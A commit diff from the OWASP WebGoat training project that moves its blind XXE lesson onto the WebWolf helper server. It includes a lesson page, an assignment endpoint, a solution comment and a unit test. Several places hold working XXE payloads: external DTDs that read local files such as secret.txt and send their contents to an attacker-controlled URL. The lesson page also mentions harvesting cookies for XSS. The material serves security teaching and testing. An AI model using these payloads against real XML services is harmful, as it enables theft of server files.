Updated XXE lesson so it also uses WebWolf
This commit is contained in:
parent
94caba7eb1
commit
8a982dedb5
@ -29,6 +29,10 @@ webgoat.database.driver=org.hsqldb.jdbcDriver
|
|||||||
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
||||||
webgoat.default.language=en
|
webgoat.default.language=en
|
||||||
|
|
||||||
|
webwolf.port=8081
|
||||||
|
webwolf.url=http://localhost:${webwolf.port}/WebWolf
|
||||||
|
webworf.url.landingpage=http://localhost:${webwolf.port}/landing
|
||||||
|
|
||||||
spring.jackson.serialization.indent_output=true
|
spring.jackson.serialization.indent_output=true
|
||||||
spring.jackson.serialization.write-dates-as-timestamps=false
|
spring.jackson.serialization.write-dates-as-timestamps=false
|
||||||
|
|
||||||
|
@ -1 +1 @@
|
|||||||
webgoat.user.directory=/tmp/
|
webgoat.user.directory=${java.io.tmpdir}
|
@ -4,10 +4,10 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.client.RestTemplate;
|
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
@ -21,7 +21,8 @@ import java.net.URISyntaxException;
|
|||||||
@AssignmentPath("/WebWolf/landing")
|
@AssignmentPath("/WebWolf/landing")
|
||||||
public class LandingAssignment extends AssignmentEndpoint {
|
public class LandingAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
private RestTemplate restTemplate = new RestTemplate();
|
@Value("${webworf.url.landingpage}")
|
||||||
|
private String landingPageUrl;
|
||||||
|
|
||||||
@PostMapping
|
@PostMapping
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
@ -37,7 +38,7 @@ public class LandingAssignment extends AssignmentEndpoint {
|
|||||||
public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {
|
public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {
|
||||||
URI uri = new URI(request.getRequestURL().toString());
|
URI uri = new URI(request.getRequestURL().toString());
|
||||||
ModelAndView modelAndView = new ModelAndView();
|
ModelAndView modelAndView = new ModelAndView();
|
||||||
modelAndView.addObject("webwolfUrl", uri.getScheme() + "://" + uri.getHost() + ":8081");
|
modelAndView.addObject("webwolfUrl", landingPageUrl);
|
||||||
modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName()));
|
modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName()));
|
||||||
|
|
||||||
modelAndView.setViewName("webwolfPasswordReset");
|
modelAndView.setViewName("webwolfPasswordReset");
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
== Landing page
|
== Landing page
|
||||||
|
|
||||||
This page will show all the requests made to '/' or '/challenge'. This means
|
This page will show all the requests made to '/landing/**'. This means
|
||||||
you can use WebWolf as your landing page for harvesting cookies etc which
|
you can use WebWolf as your landing page for harvesting cookies etc which
|
||||||
is helpful when you perform a XSS lesson.
|
is helpful when you perform a XSS lesson.
|
||||||
|
|
||||||
|
@ -15,5 +15,13 @@
|
|||||||
<artifactId>commons-lang</artifactId>
|
<artifactId>commons-lang</artifactId>
|
||||||
<version>2.6</version>
|
<version>2.6</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.github.tomakehurst</groupId>
|
||||||
|
<artifactId>wiremock</artifactId>
|
||||||
|
<version>2.8.0</version>
|
||||||
|
<scope>test</scope>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
</dependencies>
|
</dependencies>
|
||||||
</project>
|
</project>
|
@ -1,17 +1,13 @@
|
|||||||
package org.owasp.webgoat.plugin;
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
import com.beust.jcommander.internal.Lists;
|
|
||||||
import com.google.common.base.Joiner;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.FileUtils;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.util.FileCopyUtils;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
import org.springframework.web.bind.annotation.RequestMethod;
|
||||||
@ -19,10 +15,8 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
|
|
||||||
import javax.annotation.PostConstruct;
|
import javax.annotation.PostConstruct;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.nio.file.Files;
|
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
||||||
import java.nio.file.Paths;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* ************************************************************************************************
|
* ************************************************************************************************
|
||||||
@ -56,46 +50,47 @@ import java.util.List;
|
|||||||
@AssignmentPath("xxe/blind")
|
@AssignmentPath("xxe/blind")
|
||||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
||||||
@Value("${webgoat.user.directory}")
|
@Value("${webgoat.user.directory}")
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
@Autowired
|
@Autowired
|
||||||
private Comments comments;
|
private Comments comments;
|
||||||
@Autowired
|
|
||||||
private WebSession webSession;
|
|
||||||
|
|
||||||
@PostConstruct
|
@PostConstruct
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public void copyFile() {
|
public void createSecretFileWithRandomContents() {
|
||||||
ClassPathResource classPathResource = new ClassPathResource("secret.txt");
|
|
||||||
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
||||||
if (!targetDirectory.exists()) {
|
if (!targetDirectory.exists()) {
|
||||||
targetDirectory.mkdir();
|
targetDirectory.mkdir();
|
||||||
}
|
}
|
||||||
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "secret.txt")));
|
FileUtils.write(new File(targetDirectory, "secret.txt"), CONTENTS);
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
|
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
|
||||||
String error = "Parsing successful contents not send to attacker";
|
//Solution is posted as a separate comment
|
||||||
|
if (commentStr.contains(CONTENTS)) {
|
||||||
|
return trackProgress(success().build());
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Comment comment = comments.parseXml(commentStr);
|
Comment comment = comments.parseXml(commentStr);
|
||||||
comments.addComment(comment, false);
|
comments.addComment(comment, false);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
error = e.toString();
|
return trackProgress(failed().output(e.toString()).build());
|
||||||
}
|
|
||||||
|
|
||||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
|
||||||
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
|
|
||||||
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
|
|
||||||
if (solved) {
|
|
||||||
logFile.delete();
|
|
||||||
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
|
|
||||||
} else {
|
|
||||||
return trackProgress(failed().output(error).build());
|
|
||||||
}
|
}
|
||||||
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE comment [
|
||||||
|
<!ENTITY % remote SYSTEM "http://localhost:8081/files/admin2/attack.dtd">
|
||||||
|
%remote;
|
||||||
|
]>
|
||||||
|
<comment> <text>test&send;</text></comment>
|
||||||
|
**/
|
||||||
/**
|
/**
|
||||||
* Solution:
|
* Solution:
|
||||||
*
|
*
|
||||||
@ -104,14 +99,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
* <pre>
|
* <pre>
|
||||||
* <?xml version="1.0" encoding="UTF-8"?>
|
* <?xml version="1.0" encoding="UTF-8"?>
|
||||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/ping?text=%file;'>">
|
||||||
* %all;
|
* %all;
|
||||||
* </pre>
|
* </pre>
|
||||||
*
|
*
|
||||||
* This will be reduced to:
|
* This will be reduced to:
|
||||||
*
|
*
|
||||||
* <pre>
|
* <pre>
|
||||||
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
* <!ENTITY send SYSTEM 'http://localhost:8081/ping?text=[contents_file]'>
|
||||||
* </pre>
|
* </pre>
|
||||||
*
|
*
|
||||||
* Wire it all up in the xml send to the server:
|
* Wire it all up in the xml send to the server:
|
||||||
@ -119,7 +114,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
* <pre>
|
* <pre>
|
||||||
* <?xml version="1.0"?>
|
* <?xml version="1.0"?>
|
||||||
* <!DOCTYPE root [
|
* <!DOCTYPE root [
|
||||||
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
|
* <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/test.dtd">
|
||||||
* %remote;
|
* %remote;
|
||||||
* ]>
|
* ]>
|
||||||
* <user>
|
* <user>
|
||||||
|
@ -1,39 +1,30 @@
|
|||||||
|
|
||||||
== Blind XXE
|
== Blind XXE
|
||||||
|
|
||||||
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
||||||
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
|
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
|
||||||
Let's start with an example, in this case we reference a external DTD which we control on our own server.
|
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
||||||
|
|
||||||
Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.*
|
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
||||||
|
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
|
||||||
[source]
|
|
||||||
----
|
|
||||||
curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
|
|
||||||
|
|
||||||
will result in:
|
|
||||||
|
|
||||||
GET curl/7.45.0 HelloWorld
|
|
||||||
----
|
|
||||||
|
|
||||||
at the server side.
|
|
||||||
|
|
||||||
How do we use this endpoint to verify whether we can perform XXE?
|
How do we use this endpoint to verify whether we can perform XXE?
|
||||||
|
|
||||||
In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
|
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
|
||||||
|
|
||||||
[source]
|
[source]
|
||||||
----
|
----
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'>
|
<!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'>
|
||||||
----
|
----
|
||||||
|
|
||||||
Now submit the form and change the xml to:
|
Now submit the form change the xml using to:
|
||||||
|
|
||||||
[source]
|
[source]
|
||||||
----
|
----
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<!DOCTYPE root [
|
<!DOCTYPE root [
|
||||||
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/XXE/attack.dtd">
|
<!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd">
|
||||||
%remote;
|
%remote;
|
||||||
]>
|
]>
|
||||||
<comment>
|
<comment>
|
||||||
@ -41,16 +32,24 @@ Now submit the form and change the xml to:
|
|||||||
</comment>
|
</comment>
|
||||||
----
|
----
|
||||||
|
|
||||||
Now if we check our server log we will see:
|
Now in WebWolf browse to 'Incoming requests' and you will see:
|
||||||
|
|
||||||
[source]
|
[source]
|
||||||
----
|
----
|
||||||
GET Java/1.8.0_101 HelloWorld
|
{
|
||||||
|
"method" : "GET",
|
||||||
|
"path" : "/ping",
|
||||||
|
"headers" : {
|
||||||
|
"request" : {
|
||||||
|
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"parameters" : {
|
||||||
|
"test" : [ "HelloWorld" ],
|
||||||
|
},
|
||||||
|
"timeTaken" : "1"
|
||||||
|
}
|
||||||
----
|
----
|
||||||
|
|
||||||
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
|
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
|
||||||
we are basically able to reach the same effect as we did in the beginning with the curl command.
|
we are basically able to reach the same effect as we did in the beginning with the curl command.
|
||||||
|
|
||||||
[NOTE]
|
|
||||||
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
|
|
||||||
of course be a host fully under the attackers control.
|
|
@ -1,10 +1,23 @@
|
|||||||
== Blind XXE assignment
|
== Blind XXE assignment
|
||||||
|
|
||||||
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
||||||
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server.
|
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
|
||||||
For Linux: `/home/USER/.webgoat/XXE/secret.txt`, for Windows this would be `c:/Users/USER/.webgoat/XXE/secret.txt`
|
DTD.
|
||||||
If you use the Docker based WebGoat environment this file is located here: `/root/.webgoat/XXE/secret.txt`
|
|
||||||
|
|
||||||
Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]` (NOTE: this endpoint is under your full control)
|
|
||||||
|
|
||||||
You can login to the Docker container as follows: `docker exec -i -t <<name>> /bin/bash`
|
|===
|
||||||
|
|OS |Location
|
||||||
|
|
||||||
|
|Linux
|
||||||
|
|`/home/USER/.webgoat/XXE/secret.txt`
|
||||||
|
|
||||||
|
|Windows
|
||||||
|
|`c:/Users/USER/.webgoat/XXE/secret.txt`
|
||||||
|
|
||||||
|
|Docker
|
||||||
|
|`/home/webgoat/.webgoat/XXE/secret.txt`
|
||||||
|
|===
|
||||||
|
|
||||||
|
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
|
||||||
|
(NOTE: this endpoint is under your full control)
|
||||||
|
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
@ -1,8 +1,11 @@
|
|||||||
package org.owasp.webgoat.plugin;
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
import com.google.common.io.Files;
|
import com.github.tomakehurst.wiremock.client.WireMock;
|
||||||
|
import com.github.tomakehurst.wiremock.junit.WireMockRule;
|
||||||
|
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.junit.Before;
|
import org.junit.Before;
|
||||||
|
import org.junit.Rule;
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
import org.owasp.webgoat.plugins.LessonTest;
|
||||||
@ -14,7 +17,9 @@ import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
|||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.github.tomakehurst.wiremock.client.WireMock.*;
|
||||||
import static org.assertj.core.api.Assertions.assertThat;
|
import static org.assertj.core.api.Assertions.assertThat;
|
||||||
import static org.mockito.Mockito.when;
|
import static org.mockito.Mockito.when;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
@ -32,13 +37,14 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
@Value("${webgoat.user.directory}")
|
@Value("${webgoat.user.directory}")
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
|
|
||||||
|
@Rule
|
||||||
|
public WireMockRule webwolfServer = new WireMockRule(8081);
|
||||||
|
|
||||||
@Before
|
@Before
|
||||||
public void setup() throws Exception {
|
public void setup() throws Exception {
|
||||||
XXE xxe = new XXE();
|
XXE xxe = new XXE();
|
||||||
when(webSession.getCurrentLesson()).thenReturn(xxe);
|
when(webSession.getCurrentLesson()).thenReturn(xxe);
|
||||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
|
||||||
if (logFile.exists()) logFile.delete();
|
|
||||||
when(webSession.getUserName()).thenReturn("unit-test");
|
when(webSession.getUserName()).thenReturn("unit-test");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -65,26 +71,39 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void solve() throws Exception {
|
public void solve() throws Exception {
|
||||||
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
|
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||||
"<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" +
|
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
|
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
|
||||||
"%all;";
|
"%all;";
|
||||||
Files.write(dtd.getBytes(), file);
|
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
||||||
String xml = "<?xml version=\"1.0\"?>\n" +
|
.willReturn(aResponse()
|
||||||
"<!DOCTYPE root [\n" +
|
.withStatus(200)
|
||||||
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
|
.withBody(dtd)));
|
||||||
"%remote;\n" +
|
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||||
"]>\n" +
|
String xml = "<?xml version=\"1.0\"?>" +
|
||||||
"<comment>\n" +
|
"<!DOCTYPE comment [" +
|
||||||
" <text>test&send;</text>\n" +
|
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
|
||||||
"</comment>";
|
"%remote;" +
|
||||||
|
"]>" +
|
||||||
|
"<comment><text>test&send;</text></comment>";
|
||||||
|
|
||||||
|
//Call with XXE injection
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||||
.content(xml))
|
.content(xml))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
.andDo(MockMvcResultHandlers.print())
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
|
|
||||||
|
List<LoggedRequest> requests = findAll(getRequestedFor(urlMatching("/landing.*")));
|
||||||
|
assertThat(requests.size()).isEqualTo(1);
|
||||||
|
String text = requests.get(0).getQueryParams().get("text").firstValue();
|
||||||
|
|
||||||
|
//Call with retrieved text
|
||||||
|
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||||
|
.content("<comment><text>" + text + "</text></comment>"))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
@ -3,6 +3,7 @@ package org.owasp.webwolf;
|
|||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webwolf.requests.WebWolfTraceRepository;
|
import org.owasp.webwolf.requests.WebWolfTraceRepository;
|
||||||
|
import org.owasp.webwolf.user.UserRepository;
|
||||||
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
|
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.actuate.trace.TraceRepository;
|
import org.springframework.boot.actuate.trace.TraceRepository;
|
||||||
@ -25,8 +26,8 @@ import javax.jms.ConnectionFactory;
|
|||||||
public class WebWolf extends SpringBootServletInitializer {
|
public class WebWolf extends SpringBootServletInitializer {
|
||||||
|
|
||||||
@Bean
|
@Bean
|
||||||
public TraceRepository traceRepository(WebGoatUserToCookieRepository repository) {
|
public TraceRepository traceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
|
||||||
return new WebWolfTraceRepository(repository);
|
return new WebWolfTraceRepository(repository, userRepository);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -0,0 +1,24 @@
|
|||||||
|
package org.owasp.webwolf.requests;
|
||||||
|
|
||||||
|
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMethod;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
|
||||||
|
@Controller
|
||||||
|
@Slf4j
|
||||||
|
@RequestMapping("/landing/**")
|
||||||
|
public class LandingPage {
|
||||||
|
|
||||||
|
@RequestMapping(method = { RequestMethod.POST, RequestMethod.GET, RequestMethod.DELETE, RequestMethod.PATCH, RequestMethod.PUT})
|
||||||
|
@ResponseStatus(HttpStatus.OK)
|
||||||
|
public void ok(HttpServletRequest request) {
|
||||||
|
log.trace("Incoming request for: {}", request.getRequestURL());
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -6,6 +6,7 @@ import com.google.common.cache.LoadingCache;
|
|||||||
import com.google.common.collect.Lists;
|
import com.google.common.collect.Lists;
|
||||||
import com.google.common.collect.Maps;
|
import com.google.common.collect.Maps;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.owasp.webwolf.user.UserRepository;
|
||||||
import org.owasp.webwolf.user.WebGoatUser;
|
import org.owasp.webwolf.user.WebGoatUser;
|
||||||
import org.owasp.webwolf.user.WebGoatUserCookie;
|
import org.owasp.webwolf.user.WebGoatUserCookie;
|
||||||
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
|
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
|
||||||
@ -18,6 +19,7 @@ import java.net.HttpCookie;
|
|||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.concurrent.ConcurrentLinkedDeque;
|
import java.util.concurrent.ConcurrentLinkedDeque;
|
||||||
|
|
||||||
|
import static java.util.Optional.empty;
|
||||||
import static java.util.Optional.of;
|
import static java.util.Optional.of;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -38,9 +40,11 @@ public class WebWolfTraceRepository implements TraceRepository {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
private final WebGoatUserToCookieRepository repository;
|
private final WebGoatUserToCookieRepository repository;
|
||||||
|
private final UserRepository userRepository;
|
||||||
|
|
||||||
public WebWolfTraceRepository(WebGoatUserToCookieRepository repository) {
|
public WebWolfTraceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
|
||||||
this.repository = repository;
|
this.repository = repository;
|
||||||
|
this.userRepository = userRepository;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@ -58,18 +62,27 @@ public class WebWolfTraceRepository implements TraceRepository {
|
|||||||
@Override
|
@Override
|
||||||
public void add(Map<String, Object> map) {
|
public void add(Map<String, Object> map) {
|
||||||
Optional<String> host = getFromHeaders("host", map);
|
Optional<String> host = getFromHeaders("host", map);
|
||||||
Optional<String> referer = getFromHeaders("referer", map);
|
String path = (String) map.getOrDefault("path", "");
|
||||||
if (host.isPresent() && referer.orElse("").contains("WebGoat")) {
|
if (host.isPresent() && path.contains("/landing/")) {
|
||||||
Optional<String> cookie = getFromHeaders("cookie", map);
|
Optional<String> cookie = getFromHeaders("cookie", map);
|
||||||
cookie.ifPresent(c -> {
|
Optional<String> user = cookie.isPresent() ? findUserBasedOnCookie(cookie.get()) : getLoggedInUser();
|
||||||
Optional<String> user = findUserBasedOnCookie(c);
|
user.ifPresent(u -> {
|
||||||
user.ifPresent(u -> {
|
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u);
|
||||||
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u);
|
traces.addFirst(new Trace(new Date(), map));
|
||||||
traces.addFirst(new Trace(new Date(), map));
|
cookieTraces.put(u, traces);
|
||||||
cookieTraces.put(u, traces);
|
|
||||||
});
|
|
||||||
|
|
||||||
});
|
});
|
||||||
|
//No user found based on cookie and logged in user, so add the trace to all users
|
||||||
|
//In case of XXE no cookie will be send we cannot retrieve who is logged in.
|
||||||
|
//Standalone this is ok, in a challenge you need to make sure the solution or secret the users need to
|
||||||
|
//fetch is unique
|
||||||
|
if (!user.isPresent()) {
|
||||||
|
List<WebGoatUser> users = this.userRepository.findAll();
|
||||||
|
users.forEach(u -> {
|
||||||
|
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u.getUsername());
|
||||||
|
traces.addFirst(new Trace(new Date(), map));
|
||||||
|
cookieTraces.put(u.getUsername(), traces);
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -80,13 +93,16 @@ public class WebWolfTraceRepository implements TraceRepository {
|
|||||||
Optional<WebGoatUserCookie> userToCookie = repository.findByCookie(cookie.getValue());
|
Optional<WebGoatUserCookie> userToCookie = repository.findByCookie(cookie.getValue());
|
||||||
Optional<String> user = userToCookie.map(u -> u.getUsername());
|
Optional<String> user = userToCookie.map(u -> u.getUsername());
|
